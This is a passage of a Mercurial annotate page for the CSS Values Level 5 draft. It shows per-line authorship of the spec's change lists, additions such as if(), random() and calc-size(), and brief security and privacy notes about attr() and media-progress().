href="/drafts/annotate/acf9f554dac7/css-values-5/Overview.bs#l3276" title="acf9f554dac7: [css-values-5] Fix markup">fantasai@31790</a> </td> <td class="lineno"> <a href="#l3312" id="l3312"> 3312</a> </td> <td class="source"> <a href="https://github.com/w3c/csswg-drafts/issues/5092">Issue 5092</a>, </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/acf9f554dac7/css-values-5/Overview.bs#l3277" title="acf9f554dac7: [css-values-5] Fix markup">fantasai@31790</a> </td> <td class="lineno"> <a href="#l3313" id="l3313"> 3313</a> </td> <td class="source"> <a href="https://github.com/w3c/csswg-drafts/issues/5136">Issue 5136</a>) </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/50f4b8c2fc81/css-values-5/Overview.bs#l3268" title="50f4b8c2fc81: [css-values-5] Updated Changes section.">fantasai@31762</a> </td> <td class="lineno"> <a href="#l3314" id="l3314"> 3314</a> </td> <td class="source"> * Changed ''*progress()'' functions to use commas for argument separation, </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/50f4b8c2fc81/css-values-5/Overview.bs#l3269" title="50f4b8c2fc81: [css-values-5] Updated Changes section.">fantasai@31762</a> </td> <td class="lineno"> <a href="#l3315" id="l3315"> 3315</a> </td> <td class="source"> for consistency with ''*mix()'' and ''clamp()''. </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/50f4b8c2fc81/css-values-5/Overview.bs#l3270" title="50f4b8c2fc81: [css-values-5] Updated Changes section.">fantasai@31762</a> </td> <td class="lineno"> <a href="#l3316" id="l3316"> 3316</a> </td> <td class="source"> (<a href="https://github.com/w3c/csswg-drafts/issues/10489">Issue 10489</a>) </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/cc430a5a2530/css-values-5/Overview.bs#l3279" title="cc430a5a2530: [css-values-5] Replace <boolean[]> with <boolean-expr[]> #10457">fantasai@31785</a> </td> <td class="lineno"> <a href="#l3317" id="l3317"> 3317</a> </td> <td class="source"> * Defined new <<boolean-expr[]>> multipler for the [=value definition syntax=]. </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/50f4b8c2fc81/css-values-5/Overview.bs#l3272" title="50f4b8c2fc81: [css-values-5] Updated Changes section.">fantasai@31762</a> </td> <td class="lineno"> <a href="#l3318" id="l3318"> 3318</a> </td> <td class="source"> (<a href="https://github.com/w3c/csswg-drafts/issues/10457">Issue 10457</a>) </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/acf9f554dac7/css-values-5/Overview.bs#l3283" title="acf9f554dac7: [css-values-5] Fix markup">fantasai@31790</a> </td> <td class="lineno"> <a href="#l3319" id="l3319"> 3319</a> </td> <td class="source"> * Imported definition of [=arbitrary substitution function=] from [[CSS-VARIABLES-1]]. </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/50f4b8c2fc81/css-values-5/Overview.bs#l3274" title="50f4b8c2fc81: [css-values-5] Updated Changes section.">fantasai@31762</a> </td> <td class="lineno"> <a href="#l3320" id="l3320"> 3320</a> </td> <td class="source"> (<a href="https://github.com/w3c/csswg-drafts/issues/10679">Issue 10679</a>) </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/acf9f554dac7/css-values-5/Overview.bs#l3285" title="acf9f554dac7: [css-values-5] Fix markup">fantasai@31790</a> </td> <td class="lineno"> <a href="#l3321" id="l3321"> 3321</a> </td> <td class="source"> * Imported the <<syntax>> production from [[css-properties-values-api-1]] (for use in ''attr()''). </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/50f4b8c2fc81/css-values-5/Overview.bs#l3276" title="50f4b8c2fc81: [css-values-5] Updated Changes section.">fantasai@31762</a> </td> <td class="lineno"> <a href="#l3322" id="l3322"> 3322</a> </td> <td class="source"> * Corrected errors in the syntax of ''media-progress()'' and ''container-progress()''. </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/50f4b8c2fc81/css-values-5/Overview.bs#l3277" title="50f4b8c2fc81: [css-values-5] Updated Changes section.">fantasai@31762</a> </td> <td class="lineno"> <a href="#l3323" id="l3323"> 3323</a> </td> <td class="source"> </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/4bb70a8580b7/css-values-5/Overview.bs#l2444" title="4bb70a8580b7: [css-values-5] Update changes list.">fantasai@31590</a> </td> <td class="lineno"> <a href="#l3324" id="l3324"> 3324</a> </td> <td class="source"> Changes since the <a href="https://www.w3.org/TR/2024/WD-css-values-5-20240913/">First Public Working Draft</a> include: </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/4bb70a8580b7/css-values-5/Overview.bs#l2445" title="4bb70a8580b7: [css-values-5] Update changes list.">fantasai@31590</a> </td> <td class="lineno"> <a href="#l3325" id="l3325"> 3325</a> </td> <td class="source"> </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/4bb70a8580b7/css-values-5/Overview.bs#l2446" title="4bb70a8580b7: [css-values-5] Update changes list.">fantasai@31590</a> </td> <td class="lineno"> <a href="#l3326" id="l3326"> 3326</a> </td> <td class="source"> * Incorporated the definition of <<position>>, </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/4bb70a8580b7/css-values-5/Overview.bs#l2447" title="4bb70a8580b7: [css-values-5] Update changes list.">fantasai@31590</a> </td> <td class="lineno"> <a href="#l3327" id="l3327"> 3327</a> </td> <td class="source"> extending it to handle [=flow-relative=] positions. </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/4bb70a8580b7/css-values-5/Overview.bs#l2448" title="4bb70a8580b7: [css-values-5] Update changes list.">fantasai@31590</a> </td> <td class="lineno"> <a href="#l3328" id="l3328"> 3328</a> </td> <td class="source"> (<a href="https://github.com/w3c/csswg-drafts/issues/549#issuecomment-1823607623">Issue 549</a>) </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/859dd60e2b47/css-values-5/Overview.bs#l518" title="859dd60e2b47: [css-values-4][css-values-5] Split out toggle() and attr() to Level 5 #6753">fantasai@27994</a> </td> <td class="lineno"> <a href="#l3329" id="l3329"> 3329</a> </td> <td class="source"> </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/47edf803bff5/css-values-5/Overview.bs#l971" title="47edf803bff5: [css-values-5] Define random() and random-item(). #2826">jackalmage@29489</a> </td> <td class="lineno"> <a href="#l3330" id="l3330"> 3330</a> </td> <td class="source"><h3 class=no-num id="additions-L4"> </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/859dd60e2b47/css-values-5/Overview.bs#l520" title="859dd60e2b47: [css-values-4][css-values-5] Split out toggle() and attr() to Level 5 #6753">fantasai@27994</a> </td> <td class="lineno"> <a href="#l3331" id="l3331"> 3331</a> </td> <td class="source">Additions Since Level 4</h3> </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/859dd60e2b47/css-values-5/Overview.bs#l521" title="859dd60e2b47: [css-values-4][css-values-5] Split out toggle() and attr() to Level 5 #6753">fantasai@27994</a> </td> <td class="lineno"> <a href="#l3332" id="l3332"> 3332</a> </td> <td class="source"> </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/859dd60e2b47/css-values-5/Overview.bs#l522" title="859dd60e2b47: [css-values-4][css-values-5] Split out toggle() and attr() to Level 5 #6753">fantasai@27994</a> </td> <td class="lineno"> <a href="#l3333" id="l3333"> 3333</a> </td> <td class="source"> Additions since <a href="http://www.w3.org/TR/css-values-4/">CSS Values and Units Level 4</a>: </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/859dd60e2b47/css-values-5/Overview.bs#l523" title="859dd60e2b47: [css-values-4][css-values-5] Split out toggle() and attr() to Level 5 #6753">fantasai@27994</a> </td> <td class="lineno"> <a href="#l3334" id="l3334"> 3334</a> </td> <td class="source"> </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/50f4b8c2fc81/css-values-5/Overview.bs#l3289" title="50f4b8c2fc81: [css-values-5] Updated Changes section.">fantasai@31762</a> </td> <td class="lineno"> <a href="#l3335" id="l3335"> 3335</a> </td> <td class="source"> * Added the “comma-wrapping” ''{}'' notation for function arguments. </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/b14f7ec58354/css-values-5/Overview.bs#l2189" title="b14f7ec58354: [css-values-5][editorial] Add a Changes section, fix a typo, revert to ED.">jackalmage@31585</a> </td> <td class="lineno"> <a href="#l3336" id="l3336"> 3336</a> </td> <td class="source"> * Defined several <<url-modifier>>s for <<url>> functions. </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/4bb70a8580b7/css-values-5/Overview.bs#l2457" title="4bb70a8580b7: [css-values-5] Update changes list.">fantasai@31590</a> </td> <td class="lineno"> <a href="#l3337" id="l3337"> 3337</a> </td> <td class="source"> * Extended <<position>> to handle [=flow-relative=] positions. </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/4bb70a8580b7/css-values-5/Overview.bs#l2458" title="4bb70a8580b7: [css-values-5] Update changes list.">fantasai@31590</a> </td> <td class="lineno"> <a href="#l3338" id="l3338"> 3338</a> </td> <td class="source"> (<a href="https://github.com/w3c/csswg-drafts/issues/549#issuecomment-1823607623">Issue 549</a>) </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/b14f7ec58354/css-values-5/Overview.bs#l2190" title="b14f7ec58354: [css-values-5][editorial] Add a Changes section, fix a typo, revert to ED.">jackalmage@31585</a> </td> <td class="lineno"> <a href="#l3339" id="l3339"> 3339</a> </td> <td class="source"> * Added the [[#progress|*-progress()]] family of functions, to represent interpolation progress between two values. </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/b14f7ec58354/css-values-5/Overview.bs#l2191" title="b14f7ec58354: [css-values-5][editorial] Add a Changes section, fix a typo, revert to ED.">jackalmage@31585</a> </td> <td class="lineno"> <a href="#l3340" id="l3340"> 3340</a> </td> <td class="source"> * Added the [[#mixing|*-mix()]] family of functions, to represent actually interpolating between two values. </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/b14f7ec58354/css-values-5/Overview.bs#l2192" title="b14f7ec58354: [css-values-5][editorial] Add a Changes section, fix a typo, revert to ED.">jackalmage@31585</a> </td> <td class="lineno"> <a href="#l3341" id="l3341"> 3341</a> </td> <td class="source"> * Added ''first-valid()'', to allow CSS's forward-compatible parsing behavior (drop invalid things, go with what's left) to be used with custom properties and other contexts where validity isn't known until <em>after</em> parsing. </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/50f4b8c2fc81/css-values-5/Overview.bs#l3296" title="50f4b8c2fc81: [css-values-5] Updated Changes section.">fantasai@31762</a> </td> <td class="lineno"> <a href="#l3342" id="l3342"> 3342</a> </td> <td class="source"> * Added ''if()'' for inline conditionals. </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/50f4b8c2fc81/css-values-5/Overview.bs#l3297" title="50f4b8c2fc81: [css-values-5] Updated Changes section.">fantasai@31762</a> </td> <td class="lineno"> <a href="#l3343" id="l3343"> 3343</a> </td> <td class="source"> * Added ''inherit()''. </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/b14f7ec58354/css-values-5/Overview.bs#l2193" title="b14f7ec58354: [css-values-5][editorial] Add a Changes section, fix a typo, revert to ED.">jackalmage@31585</a> </td> <td class="lineno"> <a href="#l3344" id="l3344"> 3344</a> </td> <td class="source"> * Added the ''toggle()'' and ''attr()'' functions. </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/b14f7ec58354/css-values-5/Overview.bs#l2194" title="b14f7ec58354: [css-values-5][editorial] Add a Changes section, fix a typo, revert to ED.">jackalmage@31585</a> </td> <td class="lineno"> <a href="#l3345" id="l3345"> 3345</a> </td> <td class="source"> * Added the ''random()'' and ''random-item()'' functions. </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/b14f7ec58354/css-values-5/Overview.bs#l2195" title="b14f7ec58354: [css-values-5][editorial] Add a Changes section, fix a typo, revert to ED.">jackalmage@31585</a> </td> <td class="lineno"> <a href="#l3346" id="l3346"> 3346</a> </td> <td class="source"> * Added the ''sibling-count()'' and ''sibling-index()'' functions. </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/b14f7ec58354/css-values-5/Overview.bs#l2196" title="b14f7ec58354: [css-values-5][editorial] Add a Changes section, fix a typo, revert to ED.">jackalmage@31585</a> </td> <td class="lineno"> <a href="#l3347" id="l3347"> 3347</a> </td> <td class="source"> * Added the ''calc-size()'' function, and the related 'interpolate-size' property. </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/cc430a5a2530/css-values-5/Overview.bs#l3310" title="cc430a5a2530: [css-values-5] Replace <boolean[]> with <boolean-expr[]> #10457">fantasai@31785</a> </td> <td class="lineno"> <a href="#l3348" id="l3348"> 3348</a> </td> <td class="source"> * Added the <<boolean-expr[]>> syntax notation to the [=value definition syntax=]. </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/859dd60e2b47/css-values-5/Overview.bs#l527" title="859dd60e2b47: [css-values-4][css-values-5] Split out toggle() and attr() to Level 5 #6753">fantasai@27994</a> </td> <td class="lineno"> <a href="#l3349" id="l3349"> 3349</a> </td> <td class="source"> </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/b14f7ec58354/css-values-5/Overview.bs#l2198" title="b14f7ec58354: [css-values-5][editorial] Add a Changes section, fix a typo, revert to ED.">jackalmage@31585</a> </td> <td class="lineno"> <a href="#l3350" id="l3350"> 3350</a> </td> <td class="source"> </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/b14f7ec58354/css-values-5/Overview.bs#l2199" title="b14f7ec58354: [css-values-5][editorial] Add a Changes section, fix a typo, revert to ED.">jackalmage@31585</a> </td> <td class="lineno"> <a href="#l3351" id="l3351"> 3351</a> </td> <td class="source"><h2 class="no-num" id="security"> </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/b14f7ec58354/css-values-5/Overview.bs#l2200" title="b14f7ec58354: [css-values-5][editorial] Add a Changes section, fix a typo, revert to ED.">jackalmage@31585</a> </td> <td class="lineno"> <a href="#l3352" id="l3352"> 3352</a> </td> <td class="source">Security Considerations</h2> </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/859dd60e2b47/css-values-5/Overview.bs#l530" title="859dd60e2b47: [css-values-4][css-values-5] Split out toggle() and attr() to Level 5 #6753">fantasai@27994</a> </td> <td class="lineno"> <a href="#l3353" id="l3353"> 3353</a> </td> <td class="source"> </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/62839a5f8dfb/css-values-5/Overview.bs#l2202" title="62839a5f8dfb: [css-values-5][editorial] More details in Priv/Sec sections">jackalmage@31587</a> </td> <td class="lineno"> <a href="#l3354" id="l3354"> 3354</a> </td> <td class="source"> This specification allows CSS <<url>> values to have various aspects of their request modified. </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/62839a5f8dfb/css-values-5/Overview.bs#l2203" title="62839a5f8dfb: [css-values-5][editorial] More details in Priv/Sec sections">jackalmage@31587</a> </td> <td class="lineno"> <a href="#l3355" id="l3355"> 3355</a> </td> <td class="source"> Although this is new to CSS, </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/62839a5f8dfb/css-values-5/Overview.bs#l2204" title="62839a5f8dfb: [css-values-5][editorial] More details in Priv/Sec sections">jackalmage@31587</a> </td> <td class="lineno"> <a href="#l3356" id="l3356"> 3356</a> </td> <td class="source"> every ability is already present in <{img}> or <{link}>, as well as via JavaScript. </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/859dd60e2b47/css-values-5/Overview.bs#l533" title="859dd60e2b47: [css-values-4][css-values-5] Split out toggle() and attr() to Level 5 #6753">fantasai@27994</a> </td> <td class="lineno"> <a href="#l3357" id="l3357"> 3357</a> </td> <td class="source"> </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/62839a5f8dfb/css-values-5/Overview.bs#l2206" title="62839a5f8dfb: [css-values-5][editorial] More details in Priv/Sec sections">jackalmage@31587</a> </td> <td class="lineno"> <a href="#l3358" id="l3358"> 3358</a> </td> <td class="source"> The ''attr()'' function allows HTML attribute values </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/62839a5f8dfb/css-values-5/Overview.bs#l2207" title="62839a5f8dfb: [css-values-5][editorial] More details in Priv/Sec sections">jackalmage@31587</a> </td> <td class="lineno"> <a href="#l3359" id="l3359"> 3359</a> </td> <td class="source"> to be used in CSS values, </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/62839a5f8dfb/css-values-5/Overview.bs#l2208" title="62839a5f8dfb: [css-values-5][editorial] More details in Priv/Sec sections">jackalmage@31587</a> </td> <td class="lineno"> <a href="#l3360" id="l3360"> 3360</a> </td> <td class="source"> potentially exposing sensitive information </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/62839a5f8dfb/css-values-5/Overview.bs#l2209" title="62839a5f8dfb: [css-values-5][editorial] More details in Priv/Sec sections">jackalmage@31587</a> </td> <td class="lineno"> <a href="#l3361" id="l3361"> 3361</a> </td> <td class="source"> that was previously not accessible via CSS. </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/62839a5f8dfb/css-values-5/Overview.bs#l2210" title="62839a5f8dfb: [css-values-5][editorial] More details in Priv/Sec sections">jackalmage@31587</a> </td> <td class="lineno"> <a href="#l3362" id="l3362"> 3362</a> </td> <td class="source"> See [[#attr-security]]. </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/859dd60e2b47/css-values-5/Overview.bs#l535" title="859dd60e2b47: [css-values-4][css-values-5] Split out toggle() and attr() to Level 5 #6753">fantasai@27994</a> </td> <td class="lineno"> <a href="#l3363" id="l3363"> 3363</a> </td> <td class="source"> </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/b14f7ec58354/css-values-5/Overview.bs#l2207" title="b14f7ec58354: [css-values-5][editorial] Add a Changes section, fix a typo, revert to ED.">jackalmage@31585</a> </td> <td class="lineno"> <a href="#l3364" id="l3364"> 3364</a> </td> <td class="source"><h2 class="no-num" id="privacy"> </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/b14f7ec58354/css-values-5/Overview.bs#l2208" title="b14f7ec58354: [css-values-5][editorial] Add a Changes section, fix a typo, revert to ED.">jackalmage@31585</a> </td> <td class="lineno"> <a href="#l3365" id="l3365"> 3365</a> </td> <td class="source">Privacy Considerations</h2> </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/b14f7ec58354/css-values-5/Overview.bs#l2209" title="b14f7ec58354: [css-values-5][editorial] Add a Changes section, fix a typo, revert to ED.">jackalmage@31585</a> </td> <td class="lineno"> <a href="#l3366" id="l3366"> 3366</a> </td> <td class="source"> </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/859dd60e2b47/css-values-5/Overview.bs#l536" title="859dd60e2b47: [css-values-4][css-values-5] Split out toggle() and attr() to Level 5 #6753">fantasai@27994</a> </td> <td class="lineno"> <a href="#l3367" id="l3367"> 3367</a> </td> <td class="source"> This specification defines units that expose the user's screen size </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/859dd60e2b47/css-values-5/Overview.bs#l537" title="859dd60e2b47: [css-values-4][css-values-5] Split out toggle() and attr() to Level 5 #6753">fantasai@27994</a> </td> <td class="lineno"> <a href="#l3368" id="l3368"> 3368</a> </td> <td class="source"> and default font size, </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/859dd60e2b47/css-values-5/Overview.bs#l538" title="859dd60e2b47: [css-values-4][css-values-5] Split out toggle() and attr() to Level 5 #6753">fantasai@27994</a> </td> <td class="lineno"> <a href="#l3369" id="l3369"> 3369</a> </td> <td class="source"> but both are trivially observable from JS, </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/859dd60e2b47/css-values-5/Overview.bs#l539" title="859dd60e2b47: [css-values-4][css-values-5] Split out toggle() and attr() to Level 5 #6753">fantasai@27994</a> </td> <td class="lineno"> <a href="#l3370" id="l3370"> 3370</a> </td> <td class="source"> so they do not constitute a new privacy risk. </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/62839a5f8dfb/css-values-5/Overview.bs#l2219" title="62839a5f8dfb: [css-values-5][editorial] More details in Priv/Sec sections">jackalmage@31587</a> </td> <td class="lineno"> <a href="#l3371" id="l3371"> 3371</a> </td> <td class="source"> Similarly the ''media-progress()'' notation exposes </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/62839a5f8dfb/css-values-5/Overview.bs#l2220" title="62839a5f8dfb: [css-values-5][editorial] More details in Priv/Sec sections">jackalmage@31587</a> </td> <td class="lineno"> <a href="#l3372" id="l3372"> 3372</a> </td> <td class="source"> information about the user's environment and preferences </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/62839a5f8dfb/css-values-5/Overview.bs#l2221" title="62839a5f8dfb: [css-values-5][editorial] More details in Priv/Sec sections">jackalmage@31587</a> </td> <td class="lineno"> <a href="#l3373" id="l3373"> 3373</a> </td> <td class="source"> that are already observiable via [=media queries=]. </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/1619d8feacab/css-values-5/Overview.bs#l1984" title="1619d8feacab: [css-values-5] Add Security entry for attr()">jackalmage@31166</a> </td> <td class="lineno"> <a href="#l3374" id="l3374"> 3374</a> </td> <td class="source"> </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/1619d8feacab/css-values-5/Overview.bs#l1985" title="1619d8feacab: [css-values-5] Add Security entry for attr()">jackalmage@31166</a> </td> <td class="lineno"> <a href="#l3375" id="l3375"> 3375</a> </td> <td class="source"> The ''attr()'' function allows HTML attribute values </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/1619d8feacab/css-values-5/Overview.bs#l1986" title="1619d8feacab: [css-values-5] Add Security entry for attr()">jackalmage@31166</a> </td> <td class="lineno"> <a href="#l3376" id="l3376"> 3376</a> </td> <td class="source"> to be used in CSS values, </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/1619d8feacab/css-values-5/Overview.bs#l1987" title="1619d8feacab: [css-values-5] Add Security entry for attr()">jackalmage@31166</a> </td> <td class="lineno"> <a href="#l3377" id="l3377"> 3377</a> </td> <td class="source"> potentially exposing sensitive information </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/1619d8feacab/css-values-5/Overview.bs#l1988" title="1619d8feacab: [css-values-5] Add Security entry for attr()">jackalmage@31166</a> </td> <td class="lineno"> <a href="#l3378" id="l3378"> 3378</a> </td> <td class="source"> that was previously not accessible via CSS. </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/41e5d9ac149b/css-values-5/Overview.bs#l2168" title="41e5d9ac149b: [css-values-5] Add definition of interpolate-size property.">dbaron@31337</a> </td> <td class="lineno"> <a href="#l3379" id="l3379"> 3379</a> </td> <td class="source"> See [[#attr-security]]. </td> </tr> </table> <script type="text/javascript">process_dates()</script> <div class="page-footer"> <p>Mercurial Repository: drafts</p> <ul class="rss-logo"> <li><a href="/drafts/rss-log">RSS</a></li> <li><a href="/drafts/atom-log">Atom</a></li> </ul> </div> <div id="powered-by"> <p><a href="http://mercurial.selenic.com/" title="Mercurial"><img src="/drafts/static/hglogo.png" width=75 height=90 border=0 alt="mercurial"></a></p> </div> <div id="corner-top-left"></div> <div id="corner-top-right"></div> <div id="corner-bottom-left"></div> <div id="corner-bottom-right"></div> </div> </body> </html>